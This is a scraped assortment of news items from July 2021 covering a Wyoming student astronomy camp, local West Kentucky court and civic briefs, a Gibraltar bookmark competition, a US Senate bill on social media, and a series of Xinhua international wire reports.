Using a ruler, the students measured, in centimeters, the distance from various stars to their planets. As light hit the radiometer, it began to spin. Five rotations in 10 seconds determined the outer limit of a habitable zone, while 10 rotations in 10 seconds defined the inner limit.

Haley Sessions, middle standing, a UW alumna from Meeteetse and a Teton STEM Academy counselor, leads a group of female students through an exercise using a radiometer to measure the inner and outer limits of a planets distance to a star. Pictured, clockwise from left, are Jaysha Chavez, of Rock Springs; Samantha DeClercq, of Riverton; Nathan Morgan, a UW graduate from Laramie and a camp counselor; Stella Wayte, of Casper; Selma Piri, of Laramie; and Mackenzie Jones, of Lyman. (UW Photo)

The habitable zone also is called the Goldilocks Zone, Lund says. Not too hot and not too cold.

Diego Diaz, of Casper, surmised that Europa, one of Jupiters four large Galilean moons, was a good candidate for hosting life. He referenced the moon has an ocean and volcanic activity under the water body.

Campers, entering ninth through 11th grades this fall, were chosen based on demonstrated interest and academic potential in math, science, astronomy and space. The camp also includes trips to the Snowy Range near Laramie and to the large research telescope at the Wyoming Infrared Observatory on Jelm Mountain.

Im really excited about the hike, says Isabelle Lobingier, who will be a freshman this fall at Powell High School. Well be doing soil and water testing -- growing bacteria.

Professional astronomers; UW graduate students majoring in astronomy or education; and high school and junior high school teachers are leading the weeks activities.

In 2018, an anonymous donor from Teton County made a three-year, $150,000 commitment to the Teton STEM Academy, formerly known as the ExxonMobil Bernard Harris Summer Science Camp that ran from 2010-15 on UWs campus before funding dried up.

Inspiring young people like this is the most important thing I do all year, Kobulnicky says. Camps like this show good results for recruiting to UW or other colleges. These students have a distinct interest in the STEM fields, which we hope to cultivate.

Teton STEM Academy attendees, listed by hometown, are:

Brighton, Colo. -- Dylan Leonard.

Casper -- Jake Boatman, Diego Diaz, Madeline Elston, Andrew Gruner, Kira Lester, Tori Lester and Stella Wayte.

Cheyenne -- Solomon Moritz and Brayden Neville.

Lander -- David Binns, Brett Pettibone and Randall Wise.

Laramie -- Joseph Coast, Julia Gatlin, Joseph Lindley, Selma Piri and Kat Shupe.

Lyman -- Mackenzie Jones.

Jackson -- Parker Harris.

Kemmerer -- Ryan Carroll.

Powell -- Isabelle Lobingier.

Riverton -- Samantha DeClercq.

Rock River -- Lexi Mainardis.

Rock Springs -- Jaysha Chavez.

Sheridan -- Joseph Harper.
ELIZABETH URBAN is News Editor for The Vidette. Urban can be contacted at emurba1@ilstu.edu. Follow Urban on Twitter at @eliizabethurban.

IF YOU SUPPORT THE VIDETTE MISSION of providing a training laboratory for Illinois State University student journalists to learn and sharpen viable, valuable and marketable skills in all phases of print and digital media, please contribute to this most important cause. Thank you.
Areli, from Guatemala, came to the U.S. fleeing her father who she said sexually abused her and sold her to other men for sexual favors.
Autumn Bookmark Competition 2021

Gibraltar Cultural Services, on behalf of the Ministry of Culture and in conjunction with The Gibraltar Dyslexia Support Group, will hold a Bookmark Competition as part of the 2021 autumn cultural programme.

The competition is open to adults and children who are residents of Gibraltar and may submit two original works. The overall winner will receive the Ministry of Culture prize of 500 and a trophy. Additionally, there will also be three categories based on school years or college equivalent as follows:

A. School Years 3 to 6

B. School Years 7 to 10

C. School Years 11 to 13

D. Adult Category

The winner in each school category will receive a 100 voucher and trophy. Entry forms and full conditions are available from:

 All Schools

 The Department of Education, 23 Queensway

 Gibraltar Cultural Services, John Mackintosh Hall, 308 Main Street

 Events Department, City Hall

 E-mail: This email address is being protected from spambots. You need JavaScript enabled to view it.

 Online: www.cuture.gi

Entries must reach Gibraltar Cultural Services at the City Hall by Friday 8th October.
(The Center Square)  Louisiana U.S. Sen. John Kennedy has introduced a bill to limit protections for social media companies that secretly leverage user data to promote divisive content.

Kennedy, a Republican, blasted Silicon Valley behemoths such as Facebook and Twitter for provoking platform users and blamed the manipulative business practice for causing unnecessary social conflict.

Social media giants are using peoples data to manipulate them into spending more time on their sites, but the price is a more polarized America, Kennedy said in a statement. Its time to stop rewarding platforms that use their algorithms to target users with content that plays on individuals emotions without their consent.

The bill would deny legal immunity under the Communications Act of 1934, a Roosevelt administration law that allows Section 230 protections for websites hosting third-party content.

Critics allege the internet-based juggernauts should be defined as publishers under the law, not neutral platforms, and thereby subject to the same regulatory scrutiny as radio- and TV-based companies.

Kennedy highlighted the use of so-called hot buttons, or selectively identified issues that cause strong emotional reactions, which are then implemented into algorithms to intentionally show users content designed to agitate them.

If these companies wield user data to foment division, they should not continue to enjoy such unfettered liability protections, Kennedy said.

The 69-year-old first-term senator announced his reelection bid in June. He reportedly raised more than $3 million last quarter with roughly $1 million occurring in the past 30 days.

Now in campaign mode, Kennedy posted a Fox News interview to his Twitter account Tuesday  one day after filing the Senate legislation  wherein he decries internet political censorship.

I trust social media like I trust Bill Cosby as a bartender, he said.
Fort Polk, LA (71446)

Today

Some clouds. A stray shower or thunderstorm is possible. Low near 75F. Winds light and variable..

Tonight

Some clouds. A stray shower or thunderstorm is possible. Low near 75F. Winds light and variable.
Easterseals West Kentucky to Hold Career Fair

Easterseals West Kentucky, Inc. is holding a career fair on Friday at their Adult Services location at 1908 N. 14th Street, Paducah from 10am to 2pm.Easterseals West Kentucky has openings for Early Childhood Educators, CNAs, Direct Support Professionals, Secretary, Community Living Supports, Case Managers, and a position in Medical Records.There will be members of management and current employees to discuss our available career opportunities, pay, and benefits.
Anderson Rape Trial Moved Again

By West Kentucky Star Staff

PADUCAH - A Metropolis man's rape trial in Paducah did not begin Tuesday as planned.According to the McCracken Circuit Court Clerk, a hearing on Monday led to a delay in Nathan Anderson's trial, which was supposed to begin the next day. A pre-trial conference has been set for November 5 and the new trial date is December 14. The judge has set aside three days for the jury trial.Anderson was charged with raping a teen girl in McCracken County, and sheriff's detectives say he had sexual contact with her over a 14-month period. He was arrested in November 2019.Anderson is facing charges of third-degree rape, two counts of third-degree sodomy, two counts of unlawful transaction with a minor, and third-degree sexual abuse. He's also charged with being a fugitive from another state. When he was arrested, authorities said Anderson might have committed similar crimes against the girl in at least four states.
City Allocates $4M For Stormwater Improvements

By West Kentucky Star Staff

PADUCAH - The City of Paducah is planning to utilize millions of dollars for storm water projects thanks to the American Rescue Plan Act.During their meeting Tuesday the Board of Commissioners designated $4 million of their funds toward storm water infrastructure projects. Overall the city will receive $6.4 million from the federal government.Mayor George Bray said there were several hoops to jump through when it comes to using the funds, but storm water was something they could spend the money on."It just seemed like a logical thing for us to move in this direction," Bray said. "We have all heard a lot about stormwater. We have an aging storm water system infrastructure here that in the long run somehow has to get addressed. There is a storm water plan that is out there with designated projects that we really haven't gotten started on. So this is a way to get started. Get started in a couple of important areas that really need our attention."City Engineer Rick Murphy explained that this would reduce the frequency of people's homes flooding in areas they would be doing this work, but it doesn't mean homes will never flood again. Murphy explained that a lot of the projects are not going to solve those long term problems, but would help.Murphy said, "we have an elephant and we are going to start eating it one bit at a time."Currently, the city is working with stormwater consultant Strand Associates, Inc. to determine the individual projects.
Grand Jury to Hear Store Burglary Case

By West Kentucky Star Staff

PADUCAH - A Knoxville man was in court Tuesday, facing charges related to an incident at a Paducah store.The McCracken Circuit Court Clerk said an arraignment hearing was conducted for 20-year-old Anthony Joseph Webb, where he waived his preliminary hearing. The District Judge bound the case over to a Grand Jury for arraignment on August 26 in Circuit Court.Webb was arrested June 8 after Paducah Police responded to an alarm at Dollar General Store on Irvin Cobb Drive. They found a broken window and items scattered across the front of the store. Officers recognized Webb, his clothing, and shoes in surveillance video because they had spoken to him earlier in the day.Webb faces charges of third-degree burglary and first-degree criminal mischief.
Jordan Officially Hired As Paducah City Manager

By West Kentucky Star Staff

PADUCAH - At their meeting Tuesday, Paducah city commissioners officially approved an employment agreement with Daron Jordan to be the next city manager.Jordan, who had been serving as the city manager in Paris, Kentucky since 2017, will officially begin his tenure with Paducah on August 1.Along with Jordan's approval the commission also approved a professional consulting services agreement with Arndt Municipal Support to help with the city management transition. Arndt Municipal Support is owned by outgoing city manager Jim Arndt, who announced plans in January to move home to Illinois to be closer to family.Mayor George Bray said he felt this was an important step in helping with the transition."Jim (Arndt) has worked here for three years and getting Jim's context, I think, is important to give the new city manager some benefit," Bray said. "In doing that we have negotiated a contract with Jim for some hours of work in August."
Burglary, Endangerment Case Pushed Back

By West Kentucky Star Staff

PADUCAH - The prosecution's case against 24-year-old Lyndon Phillips, who faces multiple charges from a June incident, was pushed back a couple of weeks.A court clerk said attorneys agreed that Phillips would not appear for his arraignment on Tuesday. Instead, it will now take place on July 27.Phillips was arrested June 1 after an incident on Olivet Church Road. McCracken Sheriff's Deputies say someone purchased an item from Phillips, but he showed up later at the person's home and attempted to get the item back. There was an argument, and officers say Phillips attempted to strike the victim with a handgun, then allegedly shot at the victim and fled. He was spotted later and arrested after a vehicle pursuit and foot chase.Phillips faces charges of wanton endangerment, burglary, criminal mischief, fleeing or evading in a vehicle and on foot, wanton endangerment, resisting arrest, reckless driving, and disregarding traffic control devices.
Authorities Search for Suspect in Recent Thefts

By West Kentucky Star Staff

WESTERN KENTUCKY - A Wickliffe man already facing numerous theft-related charges is wanted again in connection with two more recent thefts.On July 4, Ballard County deputies responded after two vehicles were seen leaving Grassy Lake Farms on Barlow Road.Deputies stopped one of the vehicles driven by Josh McClain, who admitted to driving onto the private property.While questioning McClain, K9 Kony reportedly alerted to the presence of items containing suspected methamphetamine.McClain was arrested and taken to the Ballard County Jail.The next day, deputies learned two chainsaws had been reported stolen from Grassy Lake Farms.Deputies said McClain admitted to stealing the chainsaws. They also located Katey Hargrove of LaCenter, owner of the second vehicle, and she reportedly admitted to having the stolen chainsaws. She was arrested and later released.Authorities obtained an arrest warrant for McClain on burglary charges, but he had already bonded out of jail.Deputies got consent from Hargrove to search her home for McClain, but deputies said he fled out of the rear window.Later Hargrove was allegedly seen attempting to dispose of items containing methamphetamine. She was arrested on charges of possession of a controlled substance, tampering with physical evidence, and fleeing or evading police.After searching the area for about four hours, McClain was arrested but bonded out soon after.On July 8, police searched a home on County Farm Road. Deputies said McClain had several items stored at the house, including a toolbox that was reported stolen.McClain was charged with possession of the stolen items and arrested again on July 10, but was released the same day.A joint investigation with the Carlisle County Sheriff's Office has identified McClain as a suspect in two more recent thefts.Anyone with information on McClain's whereabouts is asked to contact law enforcement.
Murray Independent Says No Masks Required

By West Kentucky Star Staff





MURRAY - Murray Independent Schools has officially announced that students will not be required to wear masks when they return to class August 5.The school district announced in a press release that students, staff, and the public are not required to wear masks while on district property, transportation, or activities. They did say those who still wish to wear a mask may do so.The announcement comes as a result of Governor Andy Beshear lifting the mask mandate in public settings.
Name of Driver Injured By Falling Tree Released

By West Kentucky Star Staff

TRIGG COUNTY - The Trigg County Sheriff's Office has released the name of a woman that was severely injured Sunday morning after a tree fell on her vehicle on P Pool Road in Trigg County.Deputies told WKDZ the driver, 31-year-old Melissa Wyatt, was driving on P Pool Road shortly before noon when the tree hit her car, trapping her and her passenger inside.Trigg County rescue was able to free the pair after a local resident used his tractor to help remove the tree.Wyatt and her passenger, 48-year-old Adam Ingram, were taken taken to Trigg County Hospital for treatment.
Police Searching For Wanted Princeton Woman

By West Kentucky Star Staff

PRINCETON - Authorities are requesting the public's help with locating a Princeton woman wanted on numerous warrants.The Princeton Police Department is searching for 21-year-old Cortney E. Davis.She is white, 5'1", and approximately 125 pounds.Davis is wanted on warrants related to vehicle thefts and damage to the Cedar Hill Cemetery.Anyone with information on her whereabouts is asked to contact law enforcement at 270-365-2041, 270-365-4657, or 911.
in Cuming & Adjoining Counties $48.50 USD elsewhere in Nebraska $64.50 USD elsewhere in U.S. $83.50 USD
Source: Xinhua| 2021-07-13 19:12:31|Editor: huaxia

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Aerial photo taken on Feb. 22, 2021 shows a container terminal of Tianjin Port in north China's Tianjin Municipality. (Xinhua/Zhao Zishuo)

BEIJING, July 13 (Xinhua) -- Trade between China and countries along the Belt and Road witnessed robust growth in the first half of this year, official data showed Tuesday.

China's total imports and exports with these countries surged 27.5 percent year on year to 5.35 trillion yuan (about 826 billion U.S. dollars) in the January-June period, according to Li Kuiwen, a spokesperson with the General Administration of Customs.

The trade volume accounted for 29.6 percent of China's total foreign trade in the same period, while the growth stood at 0.4 percentage points faster than the overall pace, Li told a press conference.

China's exports to countries along the Belt and Road expanded 29.1 percent year on year in the six-month period, led by steel and auto products, Li said.

Meanwhile, imports from these nations went up 25.6 percent, with imports of crude oil, farm produce and metal ore reporting steady growth.

The China-Europe freight train service has contributed greatly to stabilizing trade along the Belt and Road, he said. The service handled 7,377 trips in the first half, up 43 percent from the same period last year, data by the China State Railway Group Co. Ltd. showed.

China's central and western regions have also increased participation in Belt and Road cooperation. In the first half, trade between these regions and countries along the route accounted for 19 percent of China's total, 0.4 percentage points higher than a year ago. 
Source: Xinhua| 2021-07-13 22:13:27|Editor: huaxia

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Afghan security force members take part in a military operation against Taliban militants in Alishing district of Laghman province, eastern Afghanistan, on July 12, 2021. Taliban militants have been intensifying activities to capture more districts, as the U.S. troops are completing the pull-out from Afghanistan. In the meantime, Afghan security forces have been conducting counter-offensives to foil the militant group's efforts. (Photo by Saifurahman Safi/Xinhua)

KABUL, July 13 (Xinhua) -- Taliban militants have been intensifying activities to capture more districts, as the U.S. troops are completing the pull-out from Afghanistan.

In the meantime, Afghan security forces have been conducting counter-offensives to foil the militant group's efforts.

In the latest wave of conflict, Taliban has stepped up offensives on Kandahar city, capital of southern Kandahar province, Taluqan city, capital of northern Takhar province, Kunduz city, capital of northern Kunduz province and Badghis province's capital Qala-e-Naw in the west.

In Taliban's former stronghold Kandahar city, officials said on Tuesday that dozens of people, mostly civilians, including women and children, have been killed and injured over the past 24 hours.

A doctor in Mir Wais hospital of Kandahar city, on condition of anonymity, said that 18 injured civilians including nine children and a woman have been taken to the hospital for medical treatment since Tuesday morning.

Two dead bodies have also been taken to the hospital, the doctor added.

The Taliban attack on Taluqan city had been foiled and the militants retreated after leaving 12 bodies behind, an army officer, Sayed Naeem said Tuesday.

The militants have captured three districts including Malustan in the eastern Ghazni province, and Kohmard and Sighan districts in the central Bamyan province over the past 24 hours, during which, Kuran-wa-Munjan district in Badakhshan province was regained by security forces.

Taliban militants have been fighting hard to overrun Ghazni city, capital of Ghazni province, in an effort to take control of the highway linking the national capital Kabul with the Kandahar city in the south, and the western Herat province. Kandahar city is merely around 450 km away from Kabul. Enditem
Source: Xinhua| 2021-07-13 23:06:23|Editor: huaxia

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BERLIN, July 13 (Xinhua) -- German Chancellor Angela Merkel on Tuesday rejected the idea of mandatory vaccination and would instead rely on promoting the benefits of immunization to counter the COVID-19 pandemic.

During a visit to the Robert Koch Institute (RKI), Merkel said the government could "gain trust by advertising vaccination." The goal was to educate citizens and turn them into "advertisers, ambassadors of vaccination, " she added.

In order to manage the rising number of infections caused by the Delta variant, a total of 85 percent of Germans between the ages of 12 and 59 and 90 percent of those over 60 would need to be vaccinated, according to Merkel. Germany was still a "long way from these vaccination rates."

As of Monday, almost 35.8 million people in Germany had been fully vaccinated, bringing the country's vaccination rate to 43.0 percent, according to the RKI. More than 48 million people have received at least one vaccine dose.

The incidence rate in Germany still remained at a relatively low level of 6.5 reported COVID-19 cases in the past seven days per 100,000 citizens, up from 6.4 on Monday, according to the RKI, the federal agency and research institute responsible for disease control and prevention.

To date, almost 3.74 million COVID-19 infections have been officially registered in Germany since the outbreak of the pandemic, and the death toll stood at 91,259. Enditem
Source: Xinhua| 2021-07-13 23:16:51|Editor: huaxia

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NAIROBI, July 13 (Xinhua) -- Emerging scientific consensus that the COVID-19 pandemic evolved naturally, as opposed to human misadventure, has put to rest false narratives about the virus' origin publicized by some Western countries, a scholar has said.

Stephen Ndegwa, a scholar at the Nairobi-based United States International University-Africa, said in a commentary published by the Star newspaper on Monday that linking the origin of the virus to a laboratory leakage in the central Chinese city of Wuhan is not tenable as a growing body of scientific evidence points to natural sources.

He cited an independent analysis from a group of experts overseen by the World Health Organization and the peer reviewed studies published by the Lancet, a leading medical journal, which have debunked the myth that the coronavirus originated from a laboratory.

He lauded an international group of scientists, who in a letter published by the Lancet on July 5 dismissed the laboratory leakage theory advocated by some Western powers.

He said the same group of international scientists in February 2020 had condemned conspiracy theories pertaining to the virus' origin, while pledging solidarity with China to boost its containment of the pandemic.

Ndegwa expressed faith in emerging scientific evidence that the virus evolved naturally, adding that linking it to a laboratory leakage only serves a diabolical agenda and is not sustainable.

He said that the bulk of energy and resources should be channelled towards efforts to suppress the virus, as opposed to obsession with its origins.

Ndegwa also urged some nations to focus more on containing the virus and not on blaming China to cover up their own incompetence during the early stages of the pandemic.

He added that China has been on the frontlines of global efforts to contain the pandemic through knowledge sharing and donations of vaccines and other medical supplies. Enditem
Source: Xinhua| 2021-07-14 01:15:01|Editor: huaxia

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NAIROBI, July 13 (Xinhua) -- Sub-Saharan African countries should intensify action on climate change concurrently with COVID-19 containment in order to realize a speedy, inclusive and green recovery, campaigners said Tuesday.

Mithika Mwenda, executive director of Nairobi-based Pan African Climate Justice Alliance (PACJA), said the continent should prioritize low carbon development pathways in order to boost resilience of communities and habitats during the pandemic era.

"The twin climate crisis and COVID-19 pandemic in Africa calls for coordinated action to cushion local communities and ecosystems from further shocks," Mwenda said at a virtual forum.

African policymakers, green campaigners and scholars participated in the virtual forum to discuss the impact of COVID-19 on the implementation of climate mitigation and adaptation programs in the continent.

Mwenda noted that economic fallout linked to the pandemic has disrupted climate financing in Africa hence worsening the vulnerability of communities already reeling from droughts, hunger, water stress and disease outbreaks.

He said that stimulus packages earmarked for recovery from COVID-19 shocks should factor climate resilience for vulnerable demographics including women, youth and the disabled.

A recent study conducted by PACJA and partners in eight African countries revealed that communities expressed support for a more robust climate action as part of recovery from COVID-19 related social and economic shocks.

Robert Onyeneke, a Nigerian agricultural economist with specialization in resource and environmental economics, said climate scientists said the study reinforced the need for African governments to rally behind people-centered interventions aimed at accelerating green recovery.

"African governments should revise climate policies to ensure they focus on strengthening the resilience of local citizens whose livelihoods have been disrupted by the pandemic," said Onyeneke.

He suggested African countries should leverage digital advocacy, domestic resources, and knowledge sharing including grassroots education as part of their climate response, adding enhanced coordination is key to boosting the bargaining power of African countries during the UN Climate Change Conference to be held in Glasgow, the United Kingdom, from Oct. 31 to Nov. 12. Enditem
Source: Xinhua| 2021-07-14 02:09:30|Editor: huaxia

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UNITED NATIONS, July 13 (Xinhua) -- Henrietta Fore, executive director of UN Children's Fund (UNICEF), has informed the UN secretary-general of her intention to resign, "to devote herself to a family health issue," the United Nations announced on Tuesday.

Through a statement attributable to his spokesperson, UN Secretary-General Antonio Guterres has expressed his full understanding of Fore's decision and "has accepted it, with deep regret."

"He extends his thanks and his best wishes to Executive Director Fore and her family. The secretary-general wishes to express his sincere appreciation to Ms. Fore for her inspiring leadership of UNICEF and for her service to improve the lives of children all around the world. In particular, he noted UNICEF's critical role in the global response to COVID-19 and in reimagining education," said the statement.

"As a result of her leadership, UNICEF is now an organization with a broader array of public and private sector partnerships and a bolder focus on achieving the Sustainable Development Goals. She has also contributed enormously to efforts to build a UN system with a much stronger focus on inclusion and organizational culture. The secretary-general thanks Ms. Fore for her outstanding work to address the extraordinary challenges facing children and young people around the world," the statement added.

Fore took up the position of UNICEF executive director on Jan. 1, 2018 and will remain in her post until her successor is appointed, according to the statement. Enditem
Source: Xinhua| 2021-07-14 02:39:21|Editor: huaxia

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United Nations (UN) Secretary-General Antonio Guterres delivers a speech before the EU summit in Brussels, Belgium, on June 24, 2021. (European Union/Handout via Xinhua)

"The world needs a Global Vaccination Plan to at least double the production of vaccines, ensure equitable distribution through COVAX, coordinate implementation and financing, and support national immunization programs," said UN Secretary-General Antonio Guterres.

UNITED NATIONS, July 13 (Xinhua) -- United Nations Secretary-General Antonio Guterres said on Tuesday that 11 billion doses are needed to vaccinate 70 percent of the world to end the COVID-19 pandemic.

"Pledges of doses and funds are welcome -- but they are not enough. We need at least 11 billion doses to vaccinate 70 percent of the world and end this pandemic," the UN chief told the opening of the ministerial segment of the High-level Political Forum on Sustainable Development, which is the top platform for reviewing the implementation of the 2030 Agenda for Sustainable Development and its 17 Sustainable Development Goals.

"Everyone, everywhere, must have access to COVID-19 vaccines, tests, treatments and support," said the top UN official.

"The development and roll-out of vaccines, including through the global equity mechanism, the ACT-Accelerator and its COVAX facility, is offering hope," said the secretary-general.

Noting that there is "uneven access" to these tools, especially vaccines, around the world and within countries, the UN chief said that "a global vaccination gap threatens us all" because as the virus mutates, it could become even more transmissible, or even more deadly.

Photo taken on March 5, 2021 shows AstraZeneca-Oxford vaccines from COVAX vaccine sharing program being unloaded from a plane at Entebbe International Airport, Uganda. (Photo by Hajarah Nalwadda/Xinhua)

"The world needs a Global Vaccination Plan to at least double the production of vaccines, ensure equitable distribution through COVAX, coordinate implementation and financing, and support national immunization programs," said Guterres.

"To realize this plan, I have been calling for an Emergency Task Force that brings together the countries that produce and can produce vaccines, the World Health Organization, the ACT-Accelerator partners and international financial institutions, able to deal with the relevant pharmaceutical companies and manufacturers, and other key stakeholders," the secretary-general spelled out.

"Right now, it is essential to fully finance the ACT-Accelerator and support the 50 billion U.S. dollar investment roadmap, to be led by the International Monetary Fund, the World Bank, the World Health Organization and the World Trade Organization, to end the pandemic and secure a global recovery," said the secretary-general. 
Source: Xinhua| 2021-07-14 04:06:58|Editor: huaxia

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BRASILIA, July 13 (Xinhua) -- Brazilian President Jair Bolsonaro signed into law on Tuesday a bill approved by Congress that paves the way for the privatization of state-owned electric utility company Eletrobras, according to the country's Official Gazette.

Among other measures, the regulatory framework will include the issuance of new Eletrobras shares to be sold on the private market, with the government waiving its subscription right, which will lead to the diluting of its current 61 percent stake in the company.

The company's privatization, which was approved by Congress on June 21, is expected to be completed by January 2022, after the National Council for Energy Policy defines the fundamental premises for the privatization model.

Eletrobras, a publicly traded company, is responsible for the generation and distribution of electric power in Brazil. Enditem
Source: Xinhua| 2021-07-14 05:41:08|Editor: huaxia

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GENEVA, July 13 (Xinhua) -- The 47th session of the UN Human Rights Council adopted on Tuesday a resolution urging for actions to tackle systemic racism against Africans and people of African descent.

The resolution is titled "Promotion and protection of the human rights and fundamental freedoms of Africans and of people of African descent against excessive use of force and other human rights violations by law enforcement officers through transformative change for racial justice and equality."

Recalling the tragic murder of George Floyd in Minnesota, the United States, on May 25, 2020, the resolution says that the event drew attention to the scourge of systemic and structural racism and galvanized efforts to address this global problem in the United States and around the world.

The resolution notes that the transatlantic slave trade is among the major sources and manifestations of racism, racial discrimination, xenophobia and related intolerance, and that Africans and people of African descent, Asians and people of Asian descent and indigenous peoples were victims of these acts and continue to be victims of their consequences.

The resolution decides to establish an international independent expert mechanism, comprising three experts with law enforcement and human rights expertise, to investigate governments' responses to peaceful anti-racism protests and all violations of international human rights law and to contribute to accountability and redress for victims. Enditem
Source: Xinhua| 2021-07-14 08:18:56|Editor: huaxia

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GENEVA -- The 47th session of the UN Human Rights Council adopted on Tuesday a resolution urging for actions to tackle systemic racism against Africans and people of African descent.

The resolution is titled "Promotion and protection of the human rights and fundamental freedoms of Africans and of people of African descent against excessive use of force and other human rights violations by law enforcement officers through transformative change for racial justice and equality." (UN-Rights-Racism)

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MADRID -- Spain recorded over four million confirmed coronavirus cases on Tuesday after the Ministry of Health reported sharp increases in both the number of new cases and the 14-day incidence rate.

The ministry on Tuesday reported 43,960 new coronavirus cases in the past 24 hours, taking the country's total caseload since the start of the pandemic to 4,015,084. (Spain-COVID-19-Four Million Mark)

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TASHKENT -- A mudflow caused by heavy rainfall has killed eight people and injured six in Kasansay district of eastern Namangan region, Uzbek Emergency Situations Ministry said Tuesday.

Heavy rains in the Jalal-Abad region of neighboring Kyrgyzstan caused a sudden mudflow in the downstream Kasansay river, the ministry said, adding that search for other victims and rescue work were underway. (Uzbekistan-Mudflow)

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HARARE -- Zimbabwe's Information Minister Monica Mutsvangwa announced Tuesday that the mass vaccination campaign against COVID-19 which began in February prioritizing high-risk groups is now open to every eligible member of the public.

She said frontline workers, however, will continue to be prioritized at vaccination centers. (Zimbabwe-COVID-19-Vaccine) Enditem
Source: Xinhua| 2021-07-14 10:48:24|Editor: huaxia

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ASHGABAT, July 14 (Xinhua) -- China is ready to step up cooperation with Turkmenistan in various areas, visiting Chinese State Councilor and Foreign Minister Wang Yi said here on Tuesday.

Under the personal guidance of the two heads of state, the development of the China-Turkmenistan strategic partnership has maintained healthy and stable momentum, Wang said during talks with Serdar Berdymukhamedov, Turkmen deputy prime minister and chairman of the Turkmen side of the China-Turkmenistan Cooperation Committee.

China, Wang said, is ready to work with the Turkmen side to strengthen the mechanism building of the China-Turkmenistan Cooperation Committee, and prepare for its fifth session to be held this year.

China hopes that the two sides will sign the document which aligns the China-proposed Belt and Road Initiative with Turkmenistan's development strategy to revive the Great Silk Road, he noted.

Wang also called on the two sides to formulate a five-year plan for cooperation, facilitate negotiation on natural gas cooperation to achieve substantive progress at an early date, expand cooperation in the non-natural resources field and reach consensus on economic cooperation in key sectors as soon as possible and send a positive signal of long-term and stable strategic cooperation between China and Turkmenistan.

China will continue to provide COVID-19 vaccines for Turkmenistan and boost bilateral cooperation in the health sector, so as to help the Turkmen side to fight against the pandemic, said Wang.

The two sides should reach an agreement on the establishment of cultural centers in each other's country as soon as possible, said the Chinese foreign minister.

Berdymukhamedov, for his part, warmly congratulated the 100th anniversary of the founding of the Communist Party of China (CPC), and highly appreciated the great achievements China has made under the leadership of the CPC.

Berdymukhamedov said that Turkmenistan attaches great importance to constantly strengthening the Turkmenistan-China strategic partnership on the basis of mutual respect, equality and mutual benefits.

Under the guidance and promotion of the two heads of state, the two sides have maintained high-level cooperation in politics, economy, humanities and other fields, he said.

Berdymukhamedov said Turkmenistan is grateful to China for providing COVID-19 vaccines and hoped that the Turkmenistan-China Cooperation Committee will fully play its role in pushing forward bilateral cooperation in sectors such as economy, trade, education, culture, science, health and medical care to achieve greater results. Enditem
Source: Xinhua| 2021-07-14 10:55:45|Editor: huaxia

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UNITED NATIONS, July 13 (Xinhua) -- Geng Shuang, China's deputy permanent representative to the United Nations, said on Tuesday that China supports the Colombian government in continuing to effectively implement the peace agreement.

China supports the government in "strengthening national governance, maintaining security and stability, vigorously developing economy, improving people's well-being, resolving differences through peaceful means, promoting social reconciliation and creating favorable conditions for the smooth holding of next year's election," Geng told the Security Council quarterly meeting on the situation in the country.

As has been the case with previous regular Council meetings on Colombia, Tuesday's briefing focused on various aspects of the implementation of the November 2016 peace agreement between the government of Colombia and the former rebel group FARC-EP, including the security situation in the country, transitional justice processes and the reintegration of former FARC combatants.

Geng stressed that China supports the Colombian Government in striving to overcome the pandemic-related difficulties, speeding up land reforms, addressing poverty, social injustice and underdevelopment in rural areas, strengthening security measures, and comprehensively cracking down on armed groups and organized crimes. Enditem
Source: Xinhua| 2021-07-14 12:09:28|Editor: huaxia

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WASHINGTON, July 13 (Xinhua) -- U.S. President Joe Biden on Tuesday called on Republican lawmakers to join Democrats in passing the federal legislation that will protect Americans' right to vote, given a cascade of restrictive voting laws have been enacted in Republican-controlled states.

Delivering an impassioned speech in Philadelphia, the president ripped into Republican lawmakers in red states for their efforts to push for or enact laws that are intended to make it harder to vote, saying the nation is "facing the most significant test of our democracy since the Civil War" while calling for a "coalition of Americans of every background and political party" to protect the right to vote.

"We'll be asking my Republican friends in Congress and states and cities and counties to stand up for God's sake, and help prevent this concerted effort to undermine our election and the sacred right to vote," Biden said.

He accused the Republicans of distorting facts and failing to uphold the Constitution, with a thinly veiled pointing at former President Donald Trump.

"In America, if you lose, you accept the results," Biden said inside the atrium of the National Constitution Center. "You don't call facts 'fake' and then try to bring down the American experiment just because you're unhappy. That's not statesmanship. That's selfishness."

Still trying every means to convince Americans that the 2020 elections were stolen from him, Trump said in a statement issued hours ahead of Biden's speech that Biden should let a Republican-led audit in Pennsylvania "go forward."

While singling out Philadelphia as "one of the most corrupt cities in the Country," Trump in the statement also mentioned a number of cities where Democrats have a historical tradition of prevailing over Republicans in elections, saying "corruption has gone for years" in those places, but "reached new levels" in the 2020 presidential elections.

Trump lost almost all of the legal proceedings that he and his allies initiated in the aftermath of the 2020 elections trying to overturn the results. Judges across the country by and large had not found enough evidence to change the outcomes.

State lawmakers in 17 states have enacted 28 laws since the 2020 elections that restrict ballot access, according to a new tally as of June 21 by the Brennan Center for Justice at the New York University School of Law, marking a new record for restrictive voting laws since 2011, when the Brennan Center's statistics showed 19 laws were enacted in 14 state legislatures.

Biden in his speech vowed to continue fighting for the passage of two pieces of Democratic-sponsored voting rights legislation in Congress.

"As soon as Congress passes the For the People Act and the John Lewis Voting Rights Advancement Act, I will sign it and let the whole world see it," he said. Both of the bills have been approved by the Democratic-controlled House, but are stalled in the Senate.

Without changing the filibuster, a congressional rule that requires a 60-vote threshold to pass most bills, it would be impossible for Democrats to advance any voting rights legislation in the currently evenly-divided Senate.

After Biden wrapped up his speech, reporters seeking answer to why Biden in his speech did not raise the filibuster issue were only told by the president: "I'm not filibustering now."

That Biden, a moderate Democrat, still appeared unwilling to face calls for getting rid of the filibuster disappointed some voting rights activists.

While applauding Biden's speech, Wade Henderson, interim president and CEO of the Leadership Conference on Civil and Human Rights, said in a statement that the Biden administration "must do everything possible to ensure" legislation protecting the right to vote can be passed by Congress, "even if that means supporting the change of archaic Senate rules." Enditem
Source: Xinhua| 2021-07-14 13:18:33|Editor: huaxia

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TUNIS, July 13 (Xinhua) -- China will donate a new batch of COVID-19 vaccines to Tunisia, the Chinese Embassy in Tunisia said on Tuesday.

Given China's friendship with Tunisia, the Chinese government made the decision based on the current pandemic situation in the country, according to a statement released on the embassy's Facebook page.

China will continue to support and work with Tunisia to overcome the public health crisis, it said.

The Tunisian Health Ministry reported on Tuesday 8,473 new COVID-19 cases, raising the national tally to 510,396.

The death toll from the virus rose by 157 to 16,651 in Tunisia, the ministry added. Enditem
Source: Xinhua| 2021-07-14 14:41:59|Editor: huaxia

